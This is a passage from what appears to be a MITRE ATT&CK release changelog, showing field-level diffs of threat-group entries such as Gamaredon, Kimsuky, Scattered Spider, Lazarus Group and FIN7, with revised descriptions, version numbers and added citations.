external_references{'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'}
x_mitre_contributorsEric Loui, CrowdStrike Intelligence
x_mitre_contributorsSerhii Melnyk, Trustwave SpiderLabs

[G0047] Gamaredon Group

Current version: 3.2

Version changed from: 3.1 → 3.2

+ + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Gamaredon Group](https://attack.mitre.org/groups/G0047) is t1[Gamaredon Group](https://attack.mitre.org/groups/G0047) is 
>a suspected Russian cyber espionage threat group that has ta>a suspected Russian cyber espionage group that has targeted 
>rgeted military, NGO, judiciary, law enforcement, and non-pr>military, law enforcement, judiciary, non-profit, and non-go
>ofit organizations in Ukraine since at least 2013. The name >vernmental organizations in Ukraine since at least 2013. The
>[Gamaredon Group](https://attack.mitre.org/groups/G0047) com> name [Gamaredon Group](https://attack.mitre.org/groups/G004
>es from a misspelling of the word "Armageddon", which was de>7) derives from a misspelling of the word "Armageddon," foun
>tected in the adversary's early campaigns.(Citation: Palo Al>d in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017
>to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April >)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET 
>2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec>Gamaredon June 2020)(Citation: Symantec Shuckworm January 20
> Shuckworm January 2022)(Citation: Microsoft Actinium Februa>22)(Citation: Microsoft Actinium February 2022)  In November
>ry 2022)  In November 2021, the Ukrainian government publicl> 2021, the Ukrainian government publicly attributed [Gamared
>y attributed [Gamaredon Group](https://attack.mitre.org/grou>on Group](https://attack.mitre.org/groups/G0047) to Russia’s
>ps/G0047) to Russia's Federal Security Service (FSB) Center > Federal Security Service (FSB) Center 18, an assessment lat
>18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(>er supported by multiple independent cybersecurity researche
>Citation: Microsoft Actinium February 2022)>rs. (Citation: Bleepingcomputer Gamardeon FSB November 2021)
 >(Citation: Microsoft Actinium February 2022)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-23 20:34:43.022000+00:002025-10-24 01:05:47.958000+00:00
description[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) + +In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word "Armageddon," found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) + +In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia’s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version3.13.2

[G0126] Higaisa

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:19:20.934000+00:002025-10-22 02:54:00.893000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[G0040] Patchwork

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 23:51:01.110000+00:002025-10-21 23:13:16.458000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.51.6

[G0139] TeamTNT

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-16 16:23:56.908000+00:002025-10-22 03:04:28.916000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[G0081] Tropic Trooper

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 18:24:29.185000+00:002025-10-21 23:19:38.101000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.51.6

[G0128] ZIRCONIUM

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-04 17:09:39.718000+00:002025-10-15 20:39:25.843000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.22.3
Patches

[G0094] Kimsuky

Current version: 5.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korea-based cyber espionage group that has been active since>Korea-based cyber espionage group that has been active since
> at least 2012. The group initially focused on targeting Sou> at least 2012. The group initially targeted South Korean go
>th Korean government entities, think tanks, and individuals >vernment agencies, think tanks, and subject-matter experts i
>identified as experts in various fields, and expanded its op>n various fields. Its operations expanded to include the Uni
>erations to include the UN and the government, education, bu>ted Nations and organizations in the government, education, 
>siness services, and manufacturing sectors in the United Sta>business services, and manufacturing sectors across the Unit
>tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit>ed States, Japan, Russia, and Europe. [Kimsuky](https://atta
>re.org/groups/G0094) has focused its intelligence collection>ck.mitre.org/groups/G0094) has focused collection on foreign
> activities on foreign policy and national security issues r> policy and national security issues tied to the Korean Peni
>elated to the Korean peninsula, nuclear policy, and sanction>nsula, nuclear policy, and sanctions. Its operations have ov
>s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio>erlapped with other DPRK actors, likely due to ad hoc collab
>ns have overlapped with those of other North Korean cyber es>oration or limited resource sharing.(Citation: EST Kimsuky A
>pionage actors likely as a result of ad hoc collaborations o>pril 2019)(Citation: Cybereason Kimsuky November 2020)(Citat
>r other limited resource sharing.(Citation: EST Kimsuky Apri>ion: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301
>l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation>A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Pr
>: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K>oofpoint TA427 April 2024) Because of overlapping operations
>imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof>, some researchers group a wide range of North Korean state-
>point TA427 April 2024)  [Kimsuky](https://attack.mitre.org/>sponsored cyber activity under the broader [Lazarus Group](h
>groups/G0094) was assessed to be responsible for the 2014 Ko>ttps://attack.mitre.org/groups/G0032) umbrella rather than t
>rea Hydro & Nuclear Power Co. compromise; other notable camp>racking separate subgroup or cluster distinctions.  [Kimsuky
>aigns include Operation STOLEN PENCIL (2018), Operation Kaba>](https://attack.mitre.org/groups/G0094) was assessed to be 
>r Cobra (2019), and Operation Smoke Screen (2019).(Citation:>responsible for the 2014 Korea Hydro & Nuclear Power Co. com
> Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok>promise; other notable campaigns include Operation STOLEN PE
>eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb>NCIL (2018), Operation Kabar Cobra (2019), and Operation Smo
> 2019)  North Korean group definitions are known to have sig>ke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)
>nificant overlap, and some security researchers report all N>(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: Ahn
>orth Korean state-sponsored cyber activity under the name [L>Lab Kimsuky Kabar Cobra Feb 2019)  In 2023, [Kimsuky](https:
>azarus Group](https://attack.mitre.org/groups/G0032) instead>//attack.mitre.org/groups/G0094) was observed using commerci
> of tracking clusters or subgroups.  In 2023, [Kimsuky](http>al large language models to assist with vulnerability resear
>s://attack.mitre.org/groups/G0094) has used commercial large>ch, scripting, social engineering and reconnaissance.(Citati
> language models to assist with vulnerability research, scri>on: MSFT-AI)
>pting, social engineering and reconnaissance.(Citation: MSFT 
>-AI) 
Details
values_changed
STIX FieldOld valueNew Value
modified2025-01-29 21:17:48.165000+00:002025-10-24 00:59:31.235000+00:00
description[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. + +In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions. + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)
x_mitre_attack_spec_version3.2.03.3.0

mobile-attack

New Groups

[G0069] MuddyWater

Current version: 6.0

Description:

MuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)


[G1033] Star Blizzard

Current version: 2.0

Description:

Star Blizzard is a cyber espionage and influence group originating in Russia that has been active since at least 2019. Star Blizzard campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)

Major Version Changes

[G1015] Scattered Spider

Current version: 3.0

Version changed from: 2.0 → 3.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Scattered Spider](https://attack.mitre.org/groups/G1015) ist1[Scattered Spider](https://attack.mitre.org/groups/G1015) is
> a native English-speaking cybercriminal group that has been> a native English-speaking cybercriminal group active since 
> active since at least 2022.(Citation: CrowdStrike Scattered>at least 2022. (Citation: CrowdStrike Scattered Spider Profi
> Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct>le) (Citation: MSTIC Octo Tempest Operations October 2023) T
>ober 2023) The group initially targeted customer relationshi>he group initially targeted customer relationship management
>p management and business-process outsourcing (BPO) firms as> (CRM) providers, business process outsourcing (BPO) firms, 
> well as telecommunications and technology companies. Beginn>and telecommunications and technology companies before expan
>ing in 2023, [Scattered Spider](https://attack.mitre.org/gro>ding in 2023 to gaming, hospitality, retail, managed service
>ups/G1015) expanded its operations to compromise victims in > provider (MSP), manufacturing, and financial sectors. (Cita
>the gaming, hospitality, retail, MSP, manufacturing, and fin>tion: MSTIC Octo Tempest Operations October 2023) [Scattered
>ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo> Spider](https://attack.mitre.org/groups/G1015) relies heavi
>ber 2023) During campaigns, [Scattered Spider](https://attac>ly on social engineering, including impersonating IT and hel
>k.mitre.org/groups/G1015) has leveraged targeted social-engi>p-desk staff, to gain initial access, bypass multi-factor au
>neering techniques, attempted to bypass popular endpoint sec>thentication (MFA), and compromise enterprise networks. The 
>urity tools, and more recently, deployed ransomware for fina>group has adapted its tooling to evade endpoint detection an
>ncial gain.(Citation: CISA Scattered Spider Advisory Novembe>d response (EDR) defenses and used ransomware for financial 
>r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January>gain. (Citation: CISA Scattered Spider Advisory November 202
> 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat>3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
>ion: MSTIC Octo Tempest Operations October 2023)(Citation: C>3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) 
>rowdstrike TELCO BPO Campaign December 2022)>[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
 >d expanded into hybrid cloud and identity environments, usin
 >g help-desk impersonation and MFA bypass to obtain administr
 >ator access in Okta, AWS, and Office 365. (Citation: Mandian
 >t UNC3944 May 2025)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 21:24:48.602000+00:002025-10-24 02:30:51.936000+00:00
description[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) +[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) +[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.03.0
iterable_item_added
STIX FieldOld valueNew Value
aliasesUNC3944
external_references{'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'}
external_references{'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'}
external_references{'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'}
Minor Version Changes

[G0096] APT41

Current version: 4.2

Version changed from: 4.1 → 4.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-22 21:56:33.318000+00:002025-06-11 20:13:29.024000+00:00
x_mitre_version4.14.2

[G1006] Earth Lusca

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-16 16:18:00.876000+00:002025-06-06 14:55:18.144000+00:00
x_mitre_version2.02.1

ics-attack

Major Version Changes

[G0032] Lazarus Group

Current version: 5.0

Version changed from: 4.1 → 5.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>North Korean state-sponsored cyber threat group that has bee>North Korean state-sponsored cyber threat group attributed t
>n attributed to the Reconnaissance General Bureau.(Citation:>o the Reconnaissance General Bureau (RGB). (Citation: US-CER
> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko>T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
>rean Cyber Groups September 2019) The group has been active >yber Groups September 2019) [Lazarus Group](https://attack.m
>since at least 2009 and was reportedly responsible for the N>itre.org/groups/G0032) has been active since at least 2009 a
>ovember 2014 destructive wiper attack against Sony Pictures >nd is reportedly responsible for the November 2014 destructi
>Entertainment as part of a campaign named Operation Blockbus>ve wiper attack on Sony Pictures Entertainment, identified b
>ter by Novetta. Malware used by [Lazarus Group](https://atta>y Novetta as part of Operation Blockbuster. Malware used by 
>ck.mitre.org/groups/G0032) correlates to other reported camp>[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
>aigns, including Operation Flame, Operation 1Mission, Operat>lates to other reported campaigns, including Operation Flame
>ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta>, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
> Blockbuster)  North Korean group definitions are known to h>s of Rain.(Citation: Novetta Blockbuster)  North Korea’s cyb
>ave significant overlap, and some security researchers repor>er operations have shown a consistent pattern of adaptation,
>t all North Korean state-sponsored cyber activity under the > forming and reorganizing units as national priorities shift
>name [Lazarus Group](https://attack.mitre.org/groups/G0032) >. These units frequently share personnel, infrastructure, ma
>instead of tracking clusters or subgroups, such as [Andariel>lware, and tradecraft, making it difficult to attribute spec
>](https://attack.mitre.org/groups/G0138), [APT37](https://at>ific operations with high confidence. Public reporting often
>tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o> uses “Lazarus Group” as an umbrella term for multiple North
>rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro> Korean cyber operators conducting espionage, destructive at
>ups/G0094).   >tacks, and financially motivated campaigns.(Citation: Mandia
 >nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
 >ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)  
Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 17:21:11.622000+00:002025-10-24 01:29:21.748000+00:00
description[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025) + +
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version4.15.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'}
external_references{'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'}
external_references{'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'}
Minor Version Changes

[G0046] FIN7

Current version: 4.1

Version changed from: 4.0 → 4.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[FIN7](https://attack.mitre.org/groups/G0046) is a financialt1[FIN7](https://attack.mitre.org/groups/G0046) is a financial
>ly-motivated threat group that has been active since 2013. [>ly-motivated threat group that has been active since 2013. [
>FIN7](https://attack.mitre.org/groups/G0046) has primarily t>FIN7](https://attack.mitre.org/groups/G0046) has targeted th
>argeted the retail, restaurant, hospitality, software, consu>e retail, restaurant, hospitality, software, consulting, fin
>lting, financial services, medical equipment, cloud services>ancial services, medical equipment, cloud services, media, f
>, media, food and beverage, transportation, and utilities in>ood and beverage, transportation, pharmaceutical, and utilit
>dustries in the U.S. A portion of [FIN7](https://attack.mitr>ies industries in the United States. A portion of [FIN7](htt
>e.org/groups/G0046) was run out of a front company called Co>ps://attack.mitre.org/groups/G0046) was operated out of a fr
>mbi Security and often used point-of-sale malware for target>ont company called Combi Security and often used point-of-sa
>ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro>le malware for targeting efforts. Since 2020, [FIN7](https:/
>ups/G0046) shifted operations to a big game hunting (BGH) ap>/attack.mitre.org/groups/G0046) shifted operations to big ga
>proach including use of [REvil](https://attack.mitre.org/sof>me hunting (BGH), including use of [REvil](https://attack.mi
>tware/S0496) ransomware and their own Ransomware as a Servic>tre.org/software/S0496) ransomware and their own Ransomware-
>e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt>as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
>ps://attack.mitre.org/groups/G0008) Group, but there appears>rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
> to be several groups using [Carbanak](https://attack.mitre.>ltiple threat groups have been observed using [Carbanak](htt
>org/software/S0030) malware and are therefore tracked separa>ps://attack.mitre.org/software/S0030), leading these groups 
>tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F>to be tracked separately.(Citation: FireEye FIN7 March 2017)
>IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati>(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
>on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid>AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
>er August 2021)(Citation: Mandiant FIN7 Apr 2022)>wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 
 >Apr 2022)(Citation: BiZone Lizar May 2021)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:09:41.004000+00:002025-10-24 03:18:58.136000+00:00
description[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
